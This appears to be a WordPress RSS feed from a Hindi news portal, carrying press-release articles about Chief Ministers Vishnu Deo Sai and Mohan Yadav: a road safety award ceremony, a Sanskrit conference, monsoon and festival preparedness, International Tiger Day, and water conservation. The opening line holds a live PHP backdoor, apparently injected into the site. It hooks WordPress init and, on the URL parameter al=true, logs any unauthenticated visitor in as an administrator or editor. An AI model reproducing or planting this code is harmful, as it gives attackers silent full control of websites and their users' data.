// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); CM – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 24 Jan 2026 12:20:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 सड़क सुरक्षा के नायकों को सलाम: राज्य स्तरीय सम्मान समारोह में CM की मौजूदगी https://pratyushaashakinayikiran.com/?p=194306 Sat, 24 Jan 2026 12:20:00 +0000 https://pratyushaashakinayikiran.com/?p=194306 रायपुर

मुख्यमंत्री  विष्णुदेव साय आज राजधानी रायपुर के पंडित दीनदयाल उपाध्याय ऑडिटोरियम में राष्ट्रीय सड़क सुरक्षा माह-2026 के अंतर्गत आयोजित राज्य स्तरीय सड़क सुरक्षा सम्मान समारोह में शामिल हुए। इस अवसर पर मुख्यमंत्री  साय ने कहा कि जन जागरूकता से सड़क दुर्घटनाओं में कमी आएगी। यातायात नियमों के प्रति सजगता ही हमें जनहानि से बचा सकती है।

मुख्यमंत्री राज्य स्तरीय सड़क सुरक्षा सम्मान समारोह में हुए शामिल

मुख्यमंत्री  साय ने सड़क सुरक्षा का संदेश देते हुए स्वयं हेलमेट पहनकर बाइक चालकों के दल के साथ स्कूटी चलाई।कार्यक्रम में मुख्यमंत्री  साय ने राजधानी रायपुर के पंडरी में आधुनिक लाइसेंस सेंटर कार्यालय भवन पंडरी का भूमिपूजन और प्रदेश भर में मुख्यमंत्री ग्रामीण बस योजना के तहत 12 नवीन मार्गों में 12 नवीन बसों का शुभारंभ किया।

कार्यक्रम को संबोधित करते हुए मुख्यमंत्री  साय ने कहा कि मानव जीवन अनमोल है। उन्होंने बढ़ती सड़क दुर्घटनाओं पर चिंता जाहिर करते हुए यातायात नियमों के पालन की अपील आम नागरिकों से की जिससे वाहन दुर्घटनाओं में कमी लाई जा सके। आज इस कार्यक्रम में सड़क सुरक्षा के लिए कार्य कर रहे राहगीरों, पुलिस मितान, चिकित्सकों, यातायात पुलिस कर्मियों सहित अन्य लोगों को सम्मानित किया गया है। ये सभी लोग इस कार्य में बहुत महत्वपूर्ण भूमिका निभा रहे हैं।

मुख्यमंत्री  साय ने कहा कि सड़क दुर्घटनाओं में किसी माता की कोख सूनी हो जाती है, कई भाई अपनी बहन से हमेशा के लिए बिछड़ जाते हैं और कई बच्चे अनाथ हो जाते हैं।मुख्यमंत्री  साय ने कहा कि सड़क सुरक्षा के लिए रायपुर पुलिस ने अभिनव पहल करते हुए 4500 पुलिस मितान बनाए हैं। ये पुलिस मितान गांवों में सड़क सुरक्षा के लिए महत्वपूर्ण साबित होंगें। अक्सर ग्रामीण क्षेत्रों में पुलिस का रिस्पॉन्स टाइम ज्यादा होता है। ऐसे में पुलिस मितान की बड़ी भूमिका होगी। हमने इन पुलिस मितान साथियों को हेलमेट और फर्स्ट ऐड किट भी वितरित किया है।

मुख्यमंत्री ने कहा कि हेलमेट पहनना इसलिए भी जरूरी है क्योंकि अक्सर सड़क दुर्घटनाओं में हेड इंजरी ही ज्यादा होती है। इसकी वजह से लोगों की जान जाती है। अतः हमें दुपहिया वाहनों में अनिवार्यतः हेलमेट पहनना चाहिए और चार पहिया वाहनों में सीट बेल्ट अवश्य लगाना चाहिए। वाहन चालक हमेशा ध्यान रखें कि वे वाहन चलाते हुए मोबाइल पर बात ना करें और ट्रैफिक सिग्नल ना तोड़े।

कार्यक्रम में परिवहन मंत्री  केदार कश्यप ने कहा कि आज का कार्यक्रम मात्र एक औपचारिकता ना रहे बल्कि सड़क सुरक्षा का जनांदोलन बने। सड़क दुर्घटना में तत्काल सहायता करने वाले राहगीरों को 25 हजार की राशि का प्रावधान किया गया है। सड़क दुर्घटना प्रभावितों के इलाज के लिए डेढ़ लाख के निःशुल्क इलाज की व्यवस्था सरकार द्वारा की गई है।

सांसद  बृजमोहन अग्रवाल ने कहा कि ये महीना कई माताओं की गोद सूनी होने से बचाने का महीना है। हेलमेट पहनना अब अनिवार्य किया जाना चाहिए। एक्सीडेंट से कई परिवार उजड़ रहे हैं। छत्तीसगढ़ बहुत तेजी से विकसित हो रहा है। सड़क दुर्घटनाओं में भी वृद्धि हो रही है। हेलमेट को अनिवार्य करने से वाहन चलाते हुए मोबाइल पर बात करना भी बंद होगा और लोगों की जान बचे।

कार्यक्रम में सड़क सुरक्षा मितान साथियों को 25 हजार व 5 हजार रुपए की राशि प्रदान की गई और सड़क सुरक्षा के लिए उल्लेखनीय कार्य करने वाले चिकित्सा अधिकारियों, यातायात सिपाहियों, वाहनचालकों, भारत स्काउट गाइड के सदस्यों, यूनिसेफ के प्रतिनिधि, एनएचएआई के अधिकारी तथा एनएसएस व एनसीसी कैडेट्स को भी सम्मानित किया गया ।

मुख्यमंत्री  साय ने राष्ट्रीय सड़क सुरक्षा माह-2026 के अंतर्गत आयोजित की गई प्रदर्शनी का भी अवलोकन किया। उन्होंने प्रदर्शनी में सड़क सुरक्षा पर स्कूल व कॉलेज के बच्चों द्वारा बनाई गई पेंटिंग और साइंस मॉडल की सराहना की।  

इस अवसर पर विधायक  सुनील सोनी और  पुरंदर मिश्रा, जिला पंचायत अध्यक्ष रायपुर  नवीन अग्रवाल, परिवहन सचिव  एस प्रकाश, अपर परिवहन आयुक्त  डी रविशंकर सहित बड़ी संख्या में स्काउट गाइड व एनसीसी कैडेट्स और गणमान्य नागरिक उपस्थित थे।

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भारतीय संस्कृति की आत्मा है संस्कृत, हमें इसे नई पीढ़ी तक पहुँचाना होगा : मुख्यमंत्री साय https://pratyushaashakinayikiran.com/?p=183774 Sun, 07 Sep 2025 15:20:00 +0000 https://pratyushaashakinayikiran.com/?p=183774 रायपुर
भारतीय संस्कृति की आत्मा संस्कृत में निहित है, जो हमें विश्व पटल पर एक विशिष्ट पहचान प्रदान करती है। संस्कृत भाषा व्याकरण, दर्शन और विज्ञान की नींव है, जो तार्किक चिंतन को बढ़ावा देती है। मुख्यमंत्री विष्णुदेव साय ने आज राजधानी रायपुर के संजय नगर स्थित सरयूपारीण ब्राह्मण सभा भवन में आयोजित विराट संस्कृत विद्वत्-सम्मेलन को संबोधित करते हुए यह बात कही। 

मुख्यमंत्री साय ने कहा कि संस्कृत शिक्षा आधुनिक युग में भी प्रासंगिक और उपयोगी है। संस्कृत भाषा और साहित्य हमारी विरासत का आधार हैं, जिन्हें हमें संरक्षित और संवर्धित करना चाहिए। 

मुख्यमंत्री साय ने कहा कि देववाणी संस्कृत पर चर्चा के साथ यह सम्मेलन भारतीय संस्कृति, संस्कार और राष्ट्र को सुदृढ़ बनाने का एक महान प्रयास है। मुख्यमंत्री साय ने संस्कृत भाषा के संरक्षण एवं संवर्धन के लिए संस्कृत भारती छत्तीसगढ़ और सरयूपारीण ब्राह्मण सभा छत्तीसगढ़ द्वारा किए जा रहे प्रयासों की सराहना की तथा उन्हें बधाई और शुभकामनाएँ दीं।

मुख्यमंत्री साय ने कहा कि आधुनिक शिक्षा में संस्कृत भाषा को शामिल करने से विद्यार्थियों का बौद्धिक विकास सुनिश्चित होगा। संस्कृत में वेद, उपनिषद और पुराण जैसे ग्रंथों का विशाल भंडार है, जो दर्शन, विज्ञान और जीवन-मूल्यों का संदेश देते हैं। वेदों में वर्णित आयुर्वेद, गणित और ज्योतिष आज भी प्रासंगिक हैं और शोध का विषय हो सकते हैं। इन ग्रंथों में कर्म, ज्ञान और भक्ति के सिद्धांत स्पष्ट रूप से प्रतिपादित हैं, जो आधुनिक जीवन में शांति और संतुलन ला सकते हैं।ऐसे में संस्कृत शिक्षा आधुनिक युग में भी उतनी ही प्रासंगिक और उपयोगी है।

मुख्यमंत्री विष्णुदेव साय ने कहा कि वेदों और उपनिषदों के ज्ञान को अपनाकर हम अपनी विरासत को संजोने के साथ-साथ अपने जीवन को भी समृद्ध बना सकते हैं। उन्होंने कहा कि हमें युवाओं को संस्कृत साहित्य से जोड़ने के लिए प्रेरित करना होगा, ताकि वे इस ज्ञान को नई पीढ़ी तक पहुँचा सकें।

मुख्यमंत्री ने यह भी कहा कि तकनीक के माध्यम से संस्कृत शिक्षा को आकर्षक और प्रासंगिक बनाया जा सकता है। राज्य में संस्कृत विद्वानों और शिक्षकों की सक्रिय भागीदारी से इस दिशा में ठोस कदम उठाए जा सकते हैं। उन्होंने आह्वान किया कि इस सम्मेलन के माध्यम से हमें संस्कृत विद्या के प्रचार-प्रसार और अगली पीढ़ी को जोड़ने का संकल्प लेना चाहिए।

कार्यक्रम में मुख्यमंत्री साय ने सरयूपारीण ब्राह्मण सभा, छत्तीसगढ़ के प्रचार पत्रक का विमोचन भी किया। विराट संस्कृत विद्वत्-सम्मेलन का आयोजन संस्कृत भारती छत्तीसगढ़ एवं सरयूपारीण ब्राह्मण सभा छत्तीसगढ़ के संयुक्त तत्वावधान में किया गया। 

सम्मेलन को संबोधित करते हुए संस्कृत भारती के प्रांताध्यक्ष डॉ. दादू भाई त्रिपाठी ने कहा कि इतिहास में ऐसे अनेक प्रमाण मिलते हैं, जिनसे सिद्ध होता है कि एक समय संस्कृत जनभाषा के रूप में प्रचलित थी। छत्तीसगढ़ी भाषा का संस्कृत से सीधा संबंध है। छत्तीसगढ़ी में पाणिनि व्याकरण की कई धातुओं का सीधा प्रयोग होता है। उन्होंने यह भी बताया कि सरगुजा क्षेत्र में सर्वाधिक आदिवासी विद्यार्थी संस्कृत की शिक्षा प्राप्त कर रहे हैं।

मुख्यमंत्री साय ने कार्यक्रम में सरयूपारीण ब्राह्मण समाज के विभिन्न क्षेत्रों में उल्लेखनीय योगदान देने वाले व्यक्तियों को सम्मानित किया। इनमें गठिया रोग विशेषज्ञ डॉ. अश्लेषा शुक्ला, उत्कृष्ट तैराक अनन्त द्विवेदी तथा पं. रविशंकर शुक्ल विश्वविद्यालय के कुलपति प्रो. सच्चिदानंद शुक्ला शामिल थे।

सम्मेलन को दंडी स्वामी डॉ. इंदुभवानंद महाराज, सरयूपारीण ब्राह्मण सभा छत्तीसगढ़ के अध्यक्ष डॉ. सुरेश शुक्ला और अखिल भारतीय संस्कृत भारती शिक्षण प्रमुख डॉ. श्रीराम महादेव ने भी संबोधित किया। इस अवसर पर डॉ. सतेंद्र सिंह सेंगर, अजय तिवारी, बद्रीप्रसाद गुप्ता सहित बड़ी संख्या में संस्कृत शिक्षकगण, सामाजिक प्रतिनिधि और गणमान्यजन उपस्थित थे।

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अतिवर्षा की स्थिति पर नजर रखें और जान-माल के बचाव को दें प्राथमिकता: मख्यमंत्री डॉ. यादव https://pratyushaashakinayikiran.com/?p=174479 Thu, 31 Jul 2025 05:35:00 +0000 https://pratyushaashakinayikiran.com/?p=174479
  • श्रावण मास और त्यौहारों पर करें अग्रिम व्यवस्थाएं
  • मुख्यमंत्री डॉ. यादव ने दिए कलेक्टर्स को निर्देश
  • भोपाल 
    मुख्यमंत्री डॉ. मोहन यादव ने कहा है कि सभी जिलों में अतिवर्षा की स्थिति पर नजर रखी जाए। कलेक्टर एवं प्रशासनिक तथा पुलिस अमला अधिक वर्षा की स्थिति में आपदा की हालत उत्पन्न होने के पूर्व नागरिकों के बचाव के लिए आवश्यक प्रबंध सुनिश्चित करें। संवेदनशील और सजग होकर प्रभावित नागरिकों की सहायता की जाए। पशु हानि और मकानों की क्षति पर भी प्रावधानुसार अविलम्ब मदद पहुंचाएं। इन कार्यों को सभी कलेक्टर्स प्राथमिकता दें। मुख्यमंत्री डॉ. यादव समत्व भवन मुख्यमंत्री निवास से वीडियो कॉन्फ्रेंस द्वारा प्रदेश के सभी कलेक्टर्स को निर्देशित कर रहे थे।

    श्रावण मास और त्यौहारों पर करें अग्रिम व्यवस्थाएं
    मुख्यमंत्री डॉ. यादव ने कहा कि श्रावण मास में मंदिर परिसर भी सुविधायुक्त बनाएं, जिससे श्रद्धालुओं को कोई असुविधा न हो। आगामी 9 अगस्त को रक्षाबंधन, 14 अगस्त को बलराम जयंती, 15 अगस्त को स्वतंत्रता दिवस और 16 अगस्त को कृष्ण जन्माष्टमी पर होने वाले महत्वपूर्ण पर्वों के लिये आवश्यक व्यवस्थाएं अग्रिम रूप से की जाएं।

    दुर्घटनाग्रस्त लोगों के उपचार और सहायता के प्रति रहें सजग
    मुख्यमंत्री डॉ. यादव ने विभिन्न स्वास्थ्य योजनाओं के बेहतर क्रियान्वयन, एयर एम्बुलेंस सेवा के समुचित उपयोग और आयुष्मान योजना के तहत मरीजों को उपचार उपलब्ध करवाने के लिए पंजीकृत अस्पतालों में बुनियादी सुविधाओं को सुनिश्चित करने के निर्देश दिए। मुख्यमंत्री डॉ. यादव ने कहा कि दुर्घटनाओं की स्थिति में गंभीर घायल व्यक्ति के गोल्डनअवर में उपचार को सुनिश्चित करने के लिए जिला स्तर पर अस्पतालों के निर्धारण से जुड़ी प्रक्रिया भी पूरी की जाए। राहवीर योजना में सड़क दुर्घटना के शिकार व्यक्ति को तत्परता से अस्पताल ले जाने वाले सहयोगी नागरिक को 25 हजार रुपए की राशि दिए जाने का प्रावधान किया गया है। उन्होंने कहा कि योजना क्रियान्वयन के प्रति भी जिला कलेक्टर सजग रहें।

    जनप्रतिनिधियों से संवाद
    मुख्यमंत्री डॉ. यादव ने कलेक्टर्स को निर्देश दिए कि जिला स्तर पर विकास समितियां बनाने के संबंध में प्रभारी मंत्री एवं जनप्रतिनिधियों से संवाद कर कार्यवाही पूर्ण की जाए। वीडियो कॉन्फ्रेंस में यह भी निर्देश दिए गए कि 15 अगस्त पर होने वाली ग्राम सभा और वन समितियों के निर्वाचन से संबंधित कार्य पूर्ण किए जाएं। वित्त आयोग की राशि की उपलब्धता के दृष्टिगत आवश्यक कार्यों को भी पूर्ण किया जाए।

     

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    बाघ सहित सभी वन्यजीवों के बेहतर संरक्षण और प्रबंधन का आदर्श केन्द्र बना मध्यप्रदेश : मुख्यमंत्री डॉ. यादव https://pratyushaashakinayikiran.com/?p=174178 Tue, 29 Jul 2025 15:35:00 +0000 https://pratyushaashakinayikiran.com/?p=174178
  • प्रधानमंत्री मोदी की दूरदर्शी सोच को क्रियान्वित कर प्रदेश में हुआ चीतों का सफल पुनर्स्थापन
  • उज्जैन और जबलपुर में जू (चिड़ियाघर) और वन्य जीव रेस्क्यू सेंटर किए जाएंगे विकसित
  • मुख्यमंत्री ने वन्यजीवों के परिवहन के लिए किया वाहनों का लोकार्पण
  • हाथी मानव संघर्ष को कम करने के लिए विकसित ऐप "गजरक्षक" किया लांच
  • मुख्यमंत्री डॉ. यादव ने अंतर्राष्ट्रीय बाघ दिवस पर राज्य स्तरीय कार्यक्रम का किया शुभारंभ
  • भोपाल 
    मुख्यमंत्री डॉ. मोहन यादव ने कहा है कि मध्यप्रदेश को टाईगर स्टेट का गौरव प्राप्त है, हमारे राज्य में 9 टाईगर रिजर्व हैं। बाघ सहित सभी वन्यजीवों की संख्या निरंतर बढ़ रही है और इनके संरक्षण और उनके बेहतर प्रबंधन के आदर्श केन्द्र के रूप में मध्यप्रदेश की पहचान बनी है। वन्यजीव संरक्षण के लिए स्थानीय समुदाय की सहभागिता को भी प्रोत्साहित किया जा रहा है। राज्य सरकार के इन प्रयासों से पारिस्थितिकी तंत्र के मजबूत होने के साथ प्रदेश में पर्यटन गतिविधियों को भी प्रोत्साहन मिलेगा। मुख्यमंत्री डॉ. यादव मंगलवार को कुशाभाऊ ठाकरे कन्वेंशन सेंटर भोपाल में ‘अंतर्राष्ट्रीय बाघ दिवस’ के अवसर पर राज्य स्तरीय कार्यक्रम को संबोधित कर रहे थे।

    मुख्यमंत्री डॉ. यादव ने दीप प्रज्ज्वलित कर अंतर्राष्ट्रीय बाघ दिवस के राज्य स्तरीय कार्यक्रम का शुभारंभ किया और प्रदेशवासियों को नागपंचमी की बधाई दी। इस दौरान मुख्यमंत्री डॉ. यादव ने वन्यजीवों के परिवहन के लिए तीन वन्यजीव वाहन, तीन वन्य जीव चिकित्सा वाहन और दो डॉग स्क्वायड रेस्क्यू वाहनों का लोकार्पण किया। उन्होंने वन्यजीव परिवहन के लिए वाहनों में उपलब्ध सुविधाओं की जानकारी भी प्राप्त की।

    वनकर्मियों के अथक प्रयासों से प्रदेश वन क्षेत्र और वन्यजीवों से हो रहा समृद्ध
    मुख्यमंत्री डॉ. यादव ने कहा कि वनकर्मियों के अथक प्रयासों से प्रदेश में वन क्षेत्र समृद्ध हो रहा है और वन्यजीवों की संख्या भी बढ़ रही है। मध्यप्रदेश बाघ और मनुष्य के एक साथ रहने के उदाहरण के रूप में उभर रहा है। प्रधानमंत्री मोदी की दूरदर्शी सोच को क्रियान्वित करते हुए प्रदेश चीतों के पुनर्स्थापन में भी सफल रहा है। राज्य में रातापानी को आठवें टाईगर अभ्यारण्य का दर्जा मिला है। राज्य सरकार ने उज्जैन और जबलपुर में जू (चिड़ियाघर) और वन्यजीव रेस्क्यू सेंटर विकसित करने की योजना बनाई है। यह केवल पारंपरिक जू नही होंगे, बल्कि वन्यजीवों के संरक्षण एवं पुनर्वास के लिये समर्पित “वन्यजीव रेस्क्यू सेंटर” के रूप में विकसित किये जायेंगे। 

    मुख्यमंत्री डॉ. यादव ने कहा कि पूरी दुनिया में जितने बाघ हैं, उससे ज्यादा बाघ हमारे देश के अंदर है। देश में अगर सबसे बड़ा कोई राज्य बाघ को अपने राज्य के अंदर गौरव से रखता है तो वह राज्य मध्यप्रदेश है। डॉ. विष्णु श्रीधर वाकणकर रातापानी और माधव नेशनल पार्क – दोनों टाइगर अभयारण्य हमारे द्वारा बनाए गए हैं। उन्होंने कहा कि मेरी अपनी ओर से राज्य के गौरव के लिये आप सबको बधाई देता हूँ। टाइगर रिजर्व के पास के बफर जोन में भी टाइगर सफारी प्रारंभ करेंगे।

    मुख्यमंत्री डॉ. यादव ने किया वन्यजीव संरक्षण पर केंद्रित प्रदर्शनी का किया शुभारंभ
    मुख्यमंत्री डॉ. यादव ने वन्यजीव संरक्षण संबंधी गतिविधियों पर केंद्रित प्रदर्शनी का शुभारंभ कर अवलोकन किया। प्रदर्शनी में अपने उत्पाद प्रदर्शित करने प्रदेश के जनजातीय क्षेत्रों से आयीं बहनों ने मुख्यमंत्री डॉ. यादव को राखी बांधी। पेंच टाइगर रिजर्व द्वारा बाघ संरक्षण और प्रबंधन में सामुदायिक सहभागिता को प्रोत्साहित करने के लिए चलाए जा रहे "बाघ देव" अभियान के कार्यक्रम स्थल पर बने स्टॉल पर पहुंच कर मुख्यमंत्री डॉ. यादव ने प्रदेश में बाघों की संख्या में वृद्धि की मनोकामना करते हुए सांचे से बाघ की प्रतिकृति निर्मित की।

    मुख्यमंत्री डॉ. यादव ने पेंच-बाघ और तितलियां सहित कई पुस्तकों का विमोचन किया
    मुख्यमंत्री डॉ. यादव ने राज्य वन्यजीव योजना 2023-2043 के हिंदी संस्करण, चीता निश्चेतन तथा प्रबंधन पर विकसित मैन्युअल, भविष्य में वन्य जीव प्रबंधन संबंधी कार्यशाला के निष्कर्षो पर विकसित रिपोर्ट, पेंच टाइगर रिजर्व द्वारा विकसित पुस्तक तथा गिद्ध गणना रिपोर्ट का विमोचन भी किया। मुख्यमंत्री डॉ. यादव ने बांधवगढ़ टाइगर रिजर्व द्वारा हाथियों के चिन्हांकन के लिए विकसित डोजियर और डाक विभाग द्वारा अंतर्राष्ट्रीय बाघ दिवस पर प्रकाशित विशेष आवरण तथा जंगली उल्लू प्रजाति पर केंद्रित पोस्टर का विमोचन भी किया गया। मुख्यमंत्री डॉ. यादव ने हाथी मानव संघर्ष को कम करने के लिए विकसित ऐप "गजरक्षक" लांच किया।

    चीता पुनर्वास पर केंद्रित फिल्म "अबोड़ ऑफ चीताज़" का टीजर रिलीज
    मुख्यमंत्री डॉ. यादव की उपस्थिति में विभिन्न वृत्तचित्रों के टीजर जारी किए गए। इसके अंतर्गत पेंच टाइगर रिजर्व द्वारा "स्थानीय समुदाय की सहभागिता से बाघ प्रबंधन" पर विकसित फिल्म, कान्हा टाइगर रिजर्व द्वारा विकसित फिल्म "मृत्युंजय", सतपुड़ा टाइगर रिजर्व पर केंद्रित फिल्म "सतपुड़ा कल आज और कल" तथा चीता पुनर्वास पर केंद्रित फिल्म "अबोड़ ऑफ चीताज़" के टीजर रिलीज किए गए।

    वन्यजीव संरक्षण में उत्कृष्ट कार्य करने वाले वनकर्मी और संस्थाएं हुईं सम्मानित
    मुख्यमंत्री डॉ. यादव ने वन्यजीव संरक्षण में उत्कृष्ट कार्यों के लिए पुरस्कार प्रदान किए। इसके अंतर्गत अंतर्राष्ट्रीय बाघ तस्कर को सजा दिलाने तथा इंटरपोल द्वारा प्रशंसा प्राप्त अपराध अन्वेषण दल के सदस्यों को सम्मानित किया गया। साऊथ अफ्रीका से लाए गए चीतों के कुशल प्रबंधन-संवर्धन और संरक्षण के लिए सक्रिय वन्यजीव प्रबंधन दल के सदस्यों का भी सम्मान हुआ। प्रदेश में वन्य जीवों के स्वास्थ्य, अनुश्रवण और उपचार में महत्वपूर्ण योगदान देने के साथ चीतों के स्वास्थ्य और उपचार में सहयोग के लिए स्कूल ऑफ वाईल्ड लाईफ फॉरेंसिक एंड हेल्थ जबलपुर की संचालक श्रीमती शोभा जावरे का सम्मान किया गया। इस क्रम में बाघ पुनर्वास में योगदान के लिए वन क्षेत्रपाल माधव टाईगर रिजर्व सुश्री शुभी जैन, ग्राम विस्थापन में सराहनीय योगदान के लिए संजय टाईगर रिजर्व के वन क्षेत्रपाल महावीर सिंह पांडे, बाघ अनुश्रवण एवं गौर पुनर्स्थापन में योगदान के लिए सतपुड़ा टाईगर रिजर्व के मणिराम महावत, चीते की सतत् निगरानी और सुरक्षा में योगदान के लिए वन मंडल मंदसौर के वन पाल दिनेश सिंह कुशवाह को सम्मानित किया गया। वन्यजीवन रेस्क्यू श्रेणी के अंतर्गत सतना के वनरक्षक रामसुरेश वर्मा और पन्ना टाईगर रिजर्व के वनरक्षक रामपाल प्रजापति सम्मानित हुए। ग्राम विकास और वन्यजीव द्वंद को कम करने में योगदान के लिए पेंच टाईगर रिजर्व की मिर्चीबाड़ी ईको विकास समिति, वन्य जीवन सुरक्षा और उनके स्थानांतरण कार्य में योगदान के लिए कान्हा टाईगर रिजर्व के महावत गुलाब सिंह उईके और ग्रामीण विकास तथा पर्यटक सुविधा उपलब्ध कराने में महत्वपूर्ण भूमिका निभाने के‍ लिए पेंच टाईगर रिजर्व के सुरक्षा श्रमिक हृदय मसकोले को सम्मानित किया गया।

    वन्यजीवों के संरक्षण के लिए प्रदेश में हो रहे हैं नवाचार – वन राज्यमंत्री अहिरवार
    वन एवं पर्यावरण राज्यमंत्री दिलीप सिंह अहिरवार ने कहा कि वन्य जीव संरक्षण में भारत को अंतर्राष्ट्रीय स्तर पर उपलब्धि दिलाने में प्रदेश के सतपुड़ा टाइगर रिजर्व का महत्वपूर्ण योगदान रहा है। विश्व में मध्यप्रदेश टाईगर स्टेट के रूप में पहचान बना चुका है। मध्यप्रदेश बाघ, चीता, गिद्ध, भेड़िया की संख्या में प्रथम स्थान पर है। मुख्यमंत्री डॉ. मोहन यादव के मार्गदर्शन में गिद्ध की गणना हुई, अन्य वन्यजीवों के संरक्षण के लिए प्रदेश में नवाचार किए जा रहे हैं। कार्यक्रम में विधायक रामेश्वर शर्मा, नगर निगम अध्यक्ष किशन सूर्यवंशी, रवींद्र यति, अपर मुख्य सचिव वन अशोक बर्णवाल, प्रधान मुख्य वन संरक्षक एवं वन बल प्रमुख असीम श्रीवास्तव, वन सुरक्षा समितियों, ईको विकास समिति, ग्राम वन समिति के सदस्य और वन विभाग के अधिकारी-कर्मचारी उपस्थित थे। 

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    मुख्यमंत्री डॉ. यादव कल गाडरवारा में करेंगे 80 करोड़ रुपये से अधिक के निर्माण कार्यों का लोकार्पण और भूमि-पूजन https://pratyushaashakinayikiran.com/?p=162386 Sun, 08 Jun 2025 15:36:00 +0000 https://pratyushaashakinayikiran.com/?p=162386 भोपाल 
    मुख्यमंत्री डॉ. मोहन यादव कल नरसिंहपुर जिले के गाडरवारा में एक भव्य आयोजन में 80 करोड़ 46 लाख रुपये की लागत के 135 निर्माण कार्यों का लोकार्पण और भूमि-पूजन करेंगे। मुख्यमंत्री डॉ. यादव 56 करोड़ 58 लाख रुपये के 67 कार्यों का लोकार्पण और 23 करोड़ 88 लाख रुपये के 68 कार्यों का भूमि-पूजन करेंगे। मुख्यमंत्री डॉ. यादव जल जीवन मिशन के अंतर्गत 396 लाख रुपये की लागत से देवरी से बनवारी पिपरिया तक 8.27 किमी सड़क, साईंखेड़ा में सीवरेज मलजल योजना तथा पुस्तकालय एवं प्रतीक्षालय जैसे शहरी विकास से जुड़े कार्यों का लोकार्पण और 23 करोड़ 88 लाख रुपये के निर्माण कार्यों का भूमि-पूजन करेंगे। जिले में सामुदायिक भवन, अमृत सरोवर 2.0, आंगनबाड़ी भवनों और अन्य बुनियादी संरचनात्मक सुविधाओं का निर्माण प्रस्तावित है।

    समाजसेवियों, उत्कृष्ट कार्य करने वाले नागरिकों, शिक्षकों और विद्याथियों का सम्मान
    मुख्यमंत्री डॉ. यादव नरसिंहपुर जिले में उत्कृष्ट कार्य करने वाले नागरिकों, जनप्रतिनिधियों, महिला स्व-सहायता समूहों, शिक्षकों और विकास कार्यों में उल्लेखनीय योगदान देने वाले विभागीय कर्मचारियों और मेधावी विद्यार्थियों का सम्मान करेंगे।

     

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    जल संरक्षण हम सभी की जिम्मेदारी है, एकजुट होकर अभियान को बनायें सफल : मुख्यमंत्री डॉ. यादव https://pratyushaashakinayikiran.com/?p=150646 Tue, 22 Apr 2025 05:45:00 +0000 https://pratyushaashakinayikiran.com/?p=150646 भोपाल
    मुख्यमंत्री डॉ. मोहन यादव के नेतृत्व में संचालित जल गंगा संवर्धन अभियान एक महत्वपूर्ण पर्यावरणीय पहल है, जिसका उद्देश्य जल स्रोतों का संरक्षण और पुनर्जीवन करना है। इस अभियान में नदियों को स्वच्छ और प्रदूषण मुक्त बनाने के लिए विभिन्न गतिविधियाँ चलाई जा रही है। इनमें नदी तटों की सफाई, वृक्षारोपण, जल संचयन और औद्योगिक कचरे पर नियंत्रण की पहल की जा रही है। साथ ही नागरिकों को जल की महत्ता और उसके संरक्षण के प्रति जागरूक किया जा रहा है। जनप्रतिनिधि से लेकर आम नागरिक इस अभियान में बढ़-चढ़कर भाग ले रहे हैं। मुख्यमंत्री डॉ. यादव ने प्रदेशवासियों से आहवान किया है कि जल संरक्षण एवं संवर्धन हम सभी की जिम्मेदारी है, एकजुट होकर अभियान को सफल बनायें।

    नगरीय प्रशासन एवं शहरी विकास राज्यमंत्री एवं जिले की प्रभारी मंत्री श्रीमती प्रतिमा बागरी डिण्डोरी जिले की शहपुरा जनपद पंचायत के ग्राम बरगांव में जल गंगा संवर्धन कार्यक्रम में शामिल हुई। मंत्री श्रीमती प्रतिमा बागरी ने सिलगी नदी के तट पर जल संवर्धन का सन्देश देते हुए, जनप्रतिनिधियों और अधिकारीगण के साथ सिलगी नदी की स्वच्छता के लिए सफाई कार्य में सहभागिता की। जल संरक्षण केवल अभियान तक सीमित प्रक्रिया नहीं है, यह एक सतत प्रक्रिया है। इसमें शासन प्रशासन की भूमिका के साथ ही हम सभी का सहयोग आवश्यक है।

    जलदूत बनने के लिए माय भारत पोर्टल पर रजिस्ट्रेशन कराएं
    उमरिया जिले के कलेक्टर धरणेन्द्र कुमार जैन ने कहा कि जल गंगा संवर्धन अभियान 30 जून तक संचालित किया जाएगा। अभियान के तहत माय भारत पोर्टल पर वॉलंटियर जलदूत के लिए पंजीयन करायें। उन्होंने कहा कि माय भारत पोर्टल पर अधिक से अधिक संख्या में रजिस्ट्रेशन कर जलदूत बने। उन्होंने बताया कि पंजीयन के लिए माय भारत पोर्टल की लिंक पर क्लिक कर नाम, मोबाइल नंबर एवं अन्य आवश्यक जानकारी भरें। सबमिट बटन पर क्लिक करें और पंजीकरण की प्रक्रिया पूरी करें। उन्होंने कहा कि जल संरक्षण और जल गंगा संवर्धन अभियान में योगदान दें।

    जनप्रतिनिधियों, अधिकारियों एवं जनमानस ने किया श्रमदान
    शहडोल जिले के जनपद पंचायत सोहागपुर के ग्राम पड़मनियां के बड़का तालाब में जल गंगा संवर्धन अभियान के तहत जल के एक-एक बूंद को सहेजने के लिए सफाई कार्य तथा तालाब के किनारे से गाद भी निकाली गई। इसमें कलेक्टर डॉ. केदार सिंह, जिला पंचायत शहडोल के मुख्य कार्यपालन अधिकारी श्री नरेंद्र धुर्वे सहित अन्य लोगों बढ़ चढ़कर सहभागिता निभाते हुए श्रमदान किया।

    “अपनी मिट्टी अपना जल’’ संरक्षित करने के लिये युवा टीम ने किया बोरी बंधान
    उमरिया जिले में नवाचार करते हुए “अपनी मिट्टी अपना जल’’ के अंतर्गत बोरी बंधान का कार्य किया जा रहा है। इसी क्रम में उमरिया कलेक्टर धरणेन्द्र कुमार जैन व मुख्य कार्यपालन अधिकारी जिला पंचायत सीईओ अभय सिंह के मार्गदर्शन पर जिले की सक्रिय युवाओं की टोली युवा टीम के द्वारा ग्राम पंचायत उचेहरा की नदी में बोरी बंधान कर जल संरक्षण का संदेश दिया। पर्यावरण मित्र हिमांशु तिवारी ने कहा कि बोरी बंधान हो जाने पर वाटर लेबल बढ़ेगा। साथ ही पेयजल संकट से भी मुक्ति मिलेगी, पानी को सहेजना हम सबकी जिम्मेदारी है।

